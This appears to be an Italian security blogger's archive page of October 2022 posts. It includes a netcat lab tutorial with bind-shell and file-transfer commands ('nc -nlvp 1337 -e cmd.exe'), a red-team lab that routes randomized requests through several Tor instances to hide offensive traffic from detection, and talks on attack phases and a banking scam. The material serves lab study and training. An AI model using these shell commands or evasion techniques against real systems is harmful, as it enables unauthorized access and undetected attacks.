ottobre 2022 – Rocco Sicilia

Reverse Shell: giocare con netcat

25 ottobre 202227 ottobre 2022 Rocco Sicilia

Approfitto della sessione live #studywithme che ho iniziato a proporre il martedì sera sul mio canale Twitch per proporre una “dispensa” sugli argomenti trattati. Premetto che la live in questione è durata poco in quanto lo scorso martedì ero abbastanza provato dallo giornata, abbiamo comunque introdotto netcat e ci siamo scontrati (come spesso capita) con i limiti delle versioni disponibili per MS Windows.

Prima di passare all’esplorazione dell’utility dedico qualche minuto al reperimento della stessa. Mentre se avere una linux-box potrete tranquillamente installare quello che vi serve dai pacchetti della vostra distro, su Windows bisogna necessariamente reperire il binario ed assicurarsi che il vostro sistema anti-malware non lo vada a spianare al primo utilizzo. Per poterlo utilizzare nella mia macchina di test su VirtualBox ho dovuto necessitamene disattivare prima Defender e creare poi una eccezione. Ho utilizzato il binario disponibile qui: https://nmap.org/ncat/.

Predisporre il lab con una macchina Windows ed una macchina Linux ci consente di seguire gli esempi della documentazione #OSCP. Ovviamente possiamo tranquillamente lavorare anche sono con ambienti *nix like.

Utilizzo base

Fondamentalmente netcat è una utility che ci consente di leggere e scrivere dati attraverso una connessione di rete sia via TCP che via UDP. Possiamo quindi utilizzarlo per connetterci ad un servizio come un POP o SMTP server:

Una delle funzionalità che più rimanda al tema delle reverse shell è la possibilità di mettere in listening su una porta specifica netcat:

$ nc -nlvp 1337
Listening on 0.0.0.0 1337

Una volta avviata la sessione possiamo ovviamente provare ad interagire ad esempio eseguendo una richiesta tramite un client come un browser:

La funzione di per se è utile per fare delle verifiche a livello di comunicazione. Più frequentemente questa funzionalità è utilizzata per ricevere una sessione da un “client” netcat che, senza altri accorgimenti, consentirà di inviare e leggere i caratteri all’interno della sessione in entrambe le direzioni:

Passando ad utilizzi più pragmatici vi è la possibilità di trasferire file da un sistema all’altro semplicemente con il comando:

$ nc -v {HOST} < /usr/share/windows-binaries/wget.exe
Connection to 192.168.1.12 1337 port [tcp/*] succeeded!

Ovviamente lato sistema target va prima reindirizzato l’output verso un file “destinazione”:

c:\Test>nc -nlvp 1337 > wget.exe
listening on [any] 1337 ...

Il risultato sarà l’upload del file wget.exe sulla macchina target.

E arriviamo all’utilizzo per il quale probabilmente è più famoso: la possibilità di gestire una shell attraverso una sessione. Il funzionamento in tal senso è molto semplice, abbiamo visto come aprire una sessione di comunicazione tra due macchine al fine di inviare semplici caratteri, ora possiamo utilizzare qualcosa di simile per legare un processo come cmd.exe alla sessione TCP. La funzionalità è disponibile solo per le versione che presentano il flag -e, controllare questo requisito.

c:\Test>nc -nlvp 1337 -e cmd.exe
listening on [any] 1337 ...

Il comando per connettersi alla sessione, che dovrebbe restituire il prompt dei comandi di DOS, è altrettanto semplice:

$ nc -v 192.168.1.12 1337

Qualche curiosità

Netcat è uno strumento molto duttile utilizzato, anche se forse non frequentemente, in molteplici scenari. Ho raccolto qualche esempio che credo possa valere la pensa di tenere a mente.

Network port-scan

HTTP requests

Qualche risorsa aggiuntiva:

Personalmente l’utilizzo principale è quello relativo alle reverse shell e l’impiego in contesti di troubleshooting su anomalie di rete o verifica della bontà delle richieste. L’utilizzo, negli esempi della porta 1337 è ovviamente un riferimento nerd al leet, ma è effettivamente la porta che utilizzo nei miei lavoratori. In contesti reali come attività di Pen Testing o simulazioni di solito valuto in base al contesto quali porte utilizzare e, soprattutto, non utilizzo netcat in queste modalità in quanto tutto il traffico sarebbe in chiaro. Nella prossima live, programmata per martedì 01 novembre, ci avviciniamo di più a quello che potremmo fare in una sessione di PenTesting.

update

Allenamento “cyber”

18 ottobre 202219 ottobre 2022 Rocco Sicilia

La domanda che più frequentemente mi viene posta è: “quando trovi il tempo di studiare?”. Sono ragionevolmente convinto che sia lo stesso per molti colleghi del vasto mondo info sec. E’ un dato di fatto che nella maggior parte dei contesti lavorativi buona parte del tempo è dedicato alla prestazione ed una piccola parte all’allenamento. E’ evidente che chi riesce a bilanciare opportunamente queste due indiscutibili esigenze tendenzialmente si trova ad avere team più preparati e con una certa tendenza alla crescita.

Il libro è “Hacking, The art of exploitation”

Ora è anche vero che trovare il giusto compromesso non è sempre facile e molto dipende dal contesto in cui si opera. Aggiungo che molto dipende anche da cosa noi volgiamo per noi stessi: esistono temi che personalmente mi affascinano molto e che vorrei approfondire ma che oggi sarebbero poco applicabili nel contesto lavorativo. Non tutti lavoriamo in un contesto R&D ed è normale che nello spazio degli slot operativi non ci sia modo di studiare tutto quello che vorremmo studiare. Io in particolare passere decine di ore ad approfondire e sperimentare, potrei fare solo quello senza mai stancarmi ma obiettivamente non è fattibile se non in contesti specifici.

Personalmente faccio parte di quella enorme schiera di appassionati che, oltre a cercare di dedicare quello spazio operativo all’allenamento, dedica spazi personali allo studio. Il motivo principale è che mi piace, sono appassionato di scienza e tecnologia e dedico il mio tempo libero a leggere ed approfondire diversi ambiti, dall’astronomia alla fisica, dalla cyber sec. alla programmazione. Il secondo motivo, non meno importante, è relativo ai miei obiettivi personali: mi piace il lavoro che ho scelto, mi piace confrontarmi con gli altri colleghi, mi piace poter condividere ciò che imparo tanto quanto mi piace imparare dagli altri. Tutto questo mi spinge a studiare.

E arriviamo alla domanda: quando? Ogni volta che posso 🙂
Nel tempo ho creato una mia routine, dedico alcune sere allo studio personale ed alla condivisione di alcuni argomenti (su questo blog trovate diversi esempi). Da qualche mese condivido in live le sessioni di laboratorio, sono di fatto mie occasioni di studio. Da oggi (18 ottobre) sarò live con la mia sessione di studio del martedì sera sul mio canale Twitch.

A questo si aggiungono le opportunità di partecipare a webinar ed eventi formativi, oltre che a corsi specifici. Sui corsi e sulle certificazioni si apre un capitolo a parte, ne parliamo un altra occasione 🙂

cyber security, hacking

Eludere i controlli “network-based” [prima parte]

14 ottobre 202214 ottobre 2022 Rocco Sicilia

Abstract

Nelle attività di Red Teaming ed Adversary Simulation vi è la necessità di condurre l’azione, se lo scenario lo richiede, senza essere individuati. Una dalle attività che vorrei meglio indagare è la creazione di una falsa “baseline” per ingannare i sistemi di detection. In questo esercizio di laboratorio metto le basi per la creazione di traffico http/https da utilizzare per coprire azioni offensive verso una web application.

Scenario

Questo primo laboratorio nasce da una esigenza specifica che recentemente ho avuto modo di portare all’interno di una delle sessione live su Twitch: dovendo analizzare un sistema target senza essere identificati – e quindi “bloccati” dall’amministratore – ho avuto la necessità di generare traffico verosimile verso il sito web. Quasi contemporaneamente ho avuto modo di discutere con diversi Red Team di approccio e metodi per condurre azioni silenziose e ho voluto fare qualche esperimento.

Il target del laboratorio è una macchina dvwp, sistema che stiamo utilizzando io ed Andrea per le nostre sessioni Red vs. Blue ma va benissimo un qualsiasi web server in grado di registrare i log di accesso al sistema. Per eseguire la detection vorrei utilizzare un sistema in grado di analizzare i log in modo semplice. Mentre scrivo non so ancora se utilizzerò Splunk o Graylog.

Divido questa prima parte del lab in più step:

Infrastruttura proxy per utilizzo di più IP sorgenti
Script di crawling per definizione page list
Script di generazione traffico

Una volta portata a termina la prima fase potremo iniziare ad osservare il comportamento dello script grazie all’analisi dei log.

Più sorgenti IP

Inizialmente avevo pensato di utilizzare una tecnica di spoofing con scapy, non ho completamente abbandonato l’idea ma facendo un po’ di prove ho trovato più utile in questa fase utilizzare la rete Tor per far pervenire al web server chiamate da diversi IP. Per generare una quantità di traffico verosimile, corrispondente a più utenti che contemporaneamente accedono al sito target, non basta un singolo proxy in quanto l’IP di navigazione sarebbe unico all’interno della stessa finestra di tempo. L’idea è quindi di avviare più istanze Tor per ottenere diversi “path” di navigazione e quindi, in teoria, diversi exit node.

Nei log del web server mi aspetto quindi vengano registrati gli accessi di almeno tre IP address, in caso di utilizzo di tre istanze proxy, che dovrebbero anche variare dopo qualche minuto.

Nota a margine: su Tor ho già scritto qualcosa in passato di cui consiglio la lettura.

A livello di implementazione la base Tor è molto semplice, è ovviamente necessario disporre di almeno una macchina linux in cui installare il pacchetto con il comando:

$ apt install tor

Una volta installato ed avviato il servizio dovreste poter controllare lo status dello stesso. Nel mio caso la situazione post installazione (ho utilizzato un host Ubuntu LTS) è la seguente:

Di default Tor utilizza la porta 9050 sulla loopback della macchina server su cui è installato, nel nostro laboratorio dobbiamo fare qualche modifica per ottenere tre istanze su tre differenti porte utilizzando l’IP di una delle interfacce di rete del sistema.

Il file di configurazione di base è /etc/tor/torrc di cui creeremo tre copie: torrc_1, torrc_2, torre_3. Per ogni file di configurazione imposteremo tre diverse tcp port, nel mio caso 9061, 9062, 9063:

Nello stesso file va anche definita una DataDirectory specifica, nel mio caso ho definito i path /var/lib/tor1, /var/lib/tor2, /var/lib/tor3. Una volta predisposti i file di configurazione possiamo quindi avviare le nostre tre istanze con il comando:

$ sudo tor -f /etc/tor/torrc_1 &
$ sudo tor -f /etc/tor/torrc_2 &
$ sudo tor -f /etc/tor/torrc_3 &

Il risultato deve essere di tre processi attivi e relativi servizi sulle porte definite:

Giunti a questo risultato abbiamo predisposto la base proxy. Ovviamente la quantità di processi è a vostra discrezione, il consumo di per se è basso e dipende molto da quanto traffico si andrà a generare. Il sistema che ho utilizzato per questo LAB è il mio “cube-pc”, non particolarmente potente ma abbastanza carrozzato a CPU. Una volta a runtime raccoglierò anche la statistiche di carico.

Generare la lista delle pagine “valide”

Obiettivo del lab è generare traffico verosimile, non possiamo quindi permetterci di ottenere una sfilza di errori 404 come abbiamo avuto modo di osservare in una passata sessione Red vs. Blue con Andrea in occasione dell’utilizzo di DirBuster. L’idea è di utilizzare un semplice crawler per raccogliere i link disponibili in una pagina del sito target per generare poi le richieste che simuleranno il traffico di ipotetici utenti.

Di tools a questo scopo ce ne sono centinaia, ma visto che lo scopo di queste sessione sessioni è approfondire e capire ci armiamo di python e ci creiamo il nostro piccolo crawler. Nulla di particolare, dobbiamo solo accedere al contenuto di una pagina web, estrarre tutti i link (che in HTML sono definiti con <a href=”https://www.sito.web/”>link</a>) e posizionarli in un file di comodo. Lo script fatto per l’occasione lo trovate nella mia repo GitHub all’interno del progetto sToolz: https://github.com/roccosicilia/sToolz/tree/master/RedTeam/AnonHttpReq.

Il funzionamento è molto semplice, lo script va lanciato dandogli come parametro la URL del sito target ed il nome file su cui riportare i link:

Lo script utilizza il file generato scrivendo in “append” eventuali nuovi contenuti ed è possibile passare come paramento anche una specifica pagina ottenendo l’arricchimento della lista dei link.

Componiamo l’arma cibernetica

Ora abbiamo i proxy e la lista degli URL validi da utilizzare, manca solo lo script per generare delle requests realistiche. Si tratta di una componente in realtà molto semplice da realizzare in quanto per utilizzare un proxy in una chiamata http/https possiamo tranquillamente utilizzare il modulo requests di python. Volendo essere particolarmente precisi potremmo eseguire richieste ad intervalli irregolari attingendo dalle URL in modo random.

Lo script che realizziamo deve prevedere tre parametri in input: la URL target, il file in cui sono presenti i link generati dal crawler e le iterazioni (quante richiesta fare). Si tratterà quindi di un classico ciclo in cui, per ogni iterazione, sceglieremo random il link target ed il proxy da utilizzare. Di seguito la porzione di codice del prototipo (nella repo trovate tutto):

while (i <= counter):
    pos = randrange(0, urls_num)
    socksp = randrange(1, 4)
    print("Select URL in pos {}, proxy {}: \t{}".format(pos, socksp, urls[pos]))
    # session.get(urls[pos]).text
    session.proxies = { 'http':  'socks5://192.168.1.6:906{}'.format(socksp), 'https': 'socks5://192.168.1.6:906{}'.format(socksp) }
    session.get(urls[pos])
    i = i+1

Ovviamente gli IP indicati nei socks5 si riferiscono al mio laboratorio e terminato il prototipo avrà senso portare queste info in un file di configurazione assieme a molte altre variabili.

Se abbiamo già a disposizione un elenco URL in un file precedentemente creato possiamo eseguire una prova verso il nostro target:

$ python ./AnonHttpReq.py http://ec2-15-161-154-157.eu-south-1.compute.amazonaws.com aws.txt 10

Facendo qualche test ho notato che ogni tanto i proxy vanno in timeout, c’è sicuramente del tuning da fare per rendete tutto più fluido gestendo la specifica eccezione.

Cosa manca?

Nella repo di sToolz trovate tutti gli script aggiornati e nelle prossime ore ci rimetteremo mano assieme grazie alla Live su Twitch prevista per il 14 ottobre alle 21:30. Oltre a sistemare un po’ la struttura dello script dobbiamo ovviamente sistemare un po’ di dettagli come lo user agent che viene registrato dai log del web server.

Diciamo che la base è pronta, bisogna sistemare i dettagli e rendere tutto utilizzabile con un mail script unico. Dopo di che potremo mettere alla priva il risultato assieme ad Andrea e, nella seconda parte, vediamo come predisporre un controllo che rilevi questo tipo di azioni.

cyber security, update

Master Cybersecurity e Data Protection: appunti post docenza

10 ottobre 202210 ottobre 2022 Rocco Sicilia

Qualche giorno ho tenuto la mia docenza al Master organizzato da 24Ore Business School in Cybersecurity e Data Protection. E’ la mia terza docenza in questo contesto ma questa volta siamo riusciti ad organizzare la sessione in presenza. Bisogna dirlo: è tutta un altra cosa. Sono un convinto sostenitore del lavoro da remoto e del lavoro agile e in questo contesto va anche apprezzata l’esperienza “dal vivo” laddove questa porta valore.

l’aula di sabato 8/10, sono quello con la barba

Se l’esperienza ha portato valore ai colleghi in aula lo dovranno dire loro, apprezzati i feedback di chi leggerà questo post. Ha sicuramente portato valore a me che, nel poter guardare in faccia i colleghi, ho potuto ricevere immediati feedback anche solo dagli sguardi dei presenti e, tema non banale, ho apprezzato una maggiore partecipazione.

Tutti temi scontati e ovvi? Probabilmente si, ma in un mondo in cui la soggettività sta emergendo in modo preponderante non so quanto l’ovvio, inteso come senso comune, sia veramente ovvio. Di questa riflessione pseudo-sociologica, che ho letto non mi ricordo dove, ha trovato un chiaro esempio a questa ultima sessione del Master grazie ad una domanda.

Durante la sessione si è spesso parlato di rischi percepiti in riferimento al fatto che molte aziende non conoscono come alcune minacce cibernetiche si manifestano, situazione che porta le aziende ad ottenere una cattiva postura di sicurezza. Di questo tema ho molto parlato in passato parafrasando Sun Tzu che a tal proposito suggerisce di sviluppare una buona conoscenza del nemico per definire una buona strategia di difesa.

Mostrando alcuni elementi “base” di ciò che i threat actor osservano delle proprie potenziali vittime e di come vengono sfruttate determinate informazioni apparentemente di poco conto una domanda ricorrente è stata: “ma le aziende sono consapevoli?“. Domanda estremamente corretta visto il contesto è che punta ad un tema che è forse il vero punto di partenza di un percorso, in ambito sicurezza informatica, che abbia veramente un senso. Come è possibile che elementi che sono ovviamente – dal mio punto di vista – sfruttabili da potenziali avversari siano così poco gestiti dalle organizzazioni?

Non ci sono scorciatoie per ottenere una buona postura di sicurezza, necessariamente dobbiamo prima maturare una certa consapevolezza di ciò che dobbiamo affrontare, ognuno nel nostro campo (non esiste solo il mondo tech). Adottare soluzioni che fungono in realtà da rimedio temporaneo ad un malessere che non abbiamo compreso bene rischia di non farci raggiungere l’obiettivo. Ogni tanto qualcuno afferma che sia “meglio di niente” in riferimento all’introduzione di nuove tecnologie o servizi pensati per la sicurezza informatica. Probabilmente lo è, ma in questo paragone dovremmo cominciare ad inserire anche il peso di un falso senso di sicurezza. Le classiche situazioni da “porte blindate e finestre aperte” sono fin troppo frequenti e non rappresentano un miglioramento.

E’ corretto portale l’attenzione sulla consapevolezza, cosa che possiamo acquisire visto che siamo capaci di ragionare ed assimilare informazioni.

Questa sessione del Master ci ha dato modo di confrontarci direttamente oltre che presentare ciò che era in programma. Il confronto diretto resto, per me, uno strumento potentissimo che vorrei continuare ad incentivare. In questo momento chi vuole confrontarsi con me e con gli altri attori di questo mondo mi trova sempre disponibile su LinkedIn ed ogni venerdì sera in una Live dedicata su Twitch. Vi aspetto.

cyber security, update

Come funziona un attacco informatico (speech GDPR day ’22)

6 ottobre 20226 ottobre 2022 Rocco Sicilia

Il 5 ottobre ho presenziato al GDPR day organizzato dal super Federico Lagni a Bologna. Quest’anno il mio team ha partecipato con una sponsorizzazione all’evento che ha l’obiettivo, che condivido pienamente, di formare oltre che informare.

Per 25 minuti abbiamo raccontato uno spaccato di realtà di come operano i threat actor (anche io uso un po’ di parole fighe ogni tanto) illustrando le fasi di un tipico attacco, tratto da esperienze sul campo, per analizzarlo assieme e comprenderne i meccanismi. L’obiettivo è, come spesso racconto, conoscere meglio il nostro “nemico” e, di conseguenza, comprendere come difenderci in modo efficace.

In questo post, che probabilmente sarà un po’ lungo, voglio raccontarvi quello di cui abbiamo parlato. Ovviamente leggerlo su queste pagine non è uguale ad ascoltarlo durante la sessione con la possibilità di interagire e discuterne assieme, ma confido in future occasioni alle prossime edizioni di questo o altri eventi.

Fasi di un attacco

Spesso si ha l’idea che un attacco sia una singola e deflagrante azione, un singolo colpo. Ciò che avviene è in realtà molto diverso sia per la quantità di attività che precedono l’azione di attacco vero e proprio che per i tempi che queste attività richiedono. Gli addetti ai lavori parlano infatti di “fasi” di un attacco informatico. Esistono diversi modelli che sintetizzano le fasi di un attacco di cui nell’immagine che segue ne riporto uno relativamente recente in riferimento ad una specifica tipologia di attacco: i ransomware.

Più in generale l’attacker inizia la sua attività da una fase ricognitiva in cui raccoglie informazioni sul target. Ognuno di noi, sia come individui che come membri di una organizzazione, semina diverse tracce ed informazioni in rete sul proprio conto: contatti, abitudini, preferenze, qualifiche. Questo patrimonio di dati viene raccolto ed analizzato al fine di costruire un modello del target da studiare; ovviamente vi è una proporzionalità tra l’accuratezza della profilazione e la quantità di informazioni disponibili.

Alcune informazioni possono essere reperite grazie ad azioni più invasive come una campagna di phishing mirata e studiata appositamente per entrare in possesso di una credenziale valida. Altre potrebbero non richiedere azioni dirette verso il target: in alcuni casi l’attacker potrebbe accedere o acquistare informazioni o dati relativi a precedenti azioni offensive verso l’organizzazione o ai datti di uno dei dipendenti.

Facciamo un paio di esempi pratici per comprendere meglio che dati possono essere utilizzati contro di noi ed in che modo vengono reperiti.

Banking scam

Un’azienda si rende conto di aver subito una truffa bancaria: un cliente afferma di aver provveduto ad un pagamento a seguito di una email da parte di uno dei commerciali dell’azienda ma tale pagamento non è mai giunto a destinazione.

Dal DFIR report (Digital Forensics and Incident Response) emergono alcune evidenze:

l’email inviata al cliente risulta essere autentica
viene identificato un accesso non autorizzato all’account email del commerciale
la password dell’email personale del commerciale è disponibile su “have I been pwned”
l’account del commerciale non dispone di MFA

Con queste informazioni certe in mano possiamo cominciare ad ipotizzare cosa sia successo.

Partiamo dalla cattiva abitudine di riutilizzare password in diversi account. Ne parlo spesso: se la credenziale è la stessa o simile per tutti gli account ovviamente siamo nella condizione in cui anche un solo breach possa avere impatto verso tutti i nostri account. Nel caso specifico la credenziale individuata dall’attacker era quella dell’account di posta elettronica personale del dipendente. E’ già un caso abbastanza eclatante, molto più frequentemente vengono sfruttati data breach di servizi anche molto banali e forse considerati di bassissimo impatto per l’utente che ne fruisce. Potrebbe essere il portale della biblioteca comunale o il sito di un piccolo esercizio dove siamo clienti occasionali. Non importa, se utilizziamo la stessa password che utilizziamo per la posta elettronica aziendale stiamo semplicemente aumentando la superficie attaccabile.

L’assenza di MFA riduce la complessità di una azione offensiva: sarebbe stato molto più complesso e probabilmente non fattibile per l’attacker accedere all’account di posta elettronica se l’organizzazione avesse implementato questo tipo di tecnologia. Da sottolineare che anche in questo caso vi sono metodi di bypass che fanno conto sull’ingenuità e sulla pigrizia degli utenti (parleremo in un altra occasione degli attacchi alla MFA).

Per chi è del mestiere la situazione è già abbastanza chiara. L’attacker ha trovato una credenziale valida e si è assicurato un accesso al servizio di posta da cui ha potuto comodamente consultare i contenuti, gli scambi, i contatti della vittima. Una volta contestualizzato il tutto è stato scelto un cliente con cui la vittima abitualmente dialogava per inviare una email di cambio coordinate bancaria.

Nella sua semplicità l’attacco è estremamente efficace e ci si rende conto di ciò che è avvenuto a cose ormai fatte. Ragionare sui modelli utilizzati dagli attacker per eseguire azioni offensive ci consente di individuare dove l’organizzazione deve migliorare:

c’è sicuramente un tema di awareness da considerare visto l’utilizzo un po’ ingenuo delle credenziali da parte della vittima
probabilmente qualche presidio di sicurezza in più per i servizi IT non sarebbe male, abbiamo parlato di MFA ma anche un controllo sulle tipologie di accesso aiuterebbe
è evidente che non ci sono o non vengono rispettare procedure di verifica delle comunicazioni laddove vi è uno scambio di informazioni sensibili o che toccano processi CORE come la fatturazione e la gestione del credito

Il ragionamento può essere esteso alle metodologie di assessment utili ad eseguire una qualifica dei punti deboli di un’organizzazione al fine di costruire un piano di rimedio coerente con le effettive esposizioni che il target presenta agli occhi di un attacker. L’idea è quindi di spostare il focus, il più velocemente possibile, sulle azioni da compiere per ridurre la superficie attaccabile laddove l’esposizione corrisponde ad una opportunità reale di attacco con relativo impatto sul business.

Ancora una volta prima degli strumenti viene la cultura e la consapevolezza.

Condivido le slide presentate anche se, come sempre, hanno più senso se commentate. Se l’argomento è di interesse (attendo feedback) valuto la registrazione di una presentazione del contenuto per intero. Qui allego le slide:

versivo-gdpr-day Download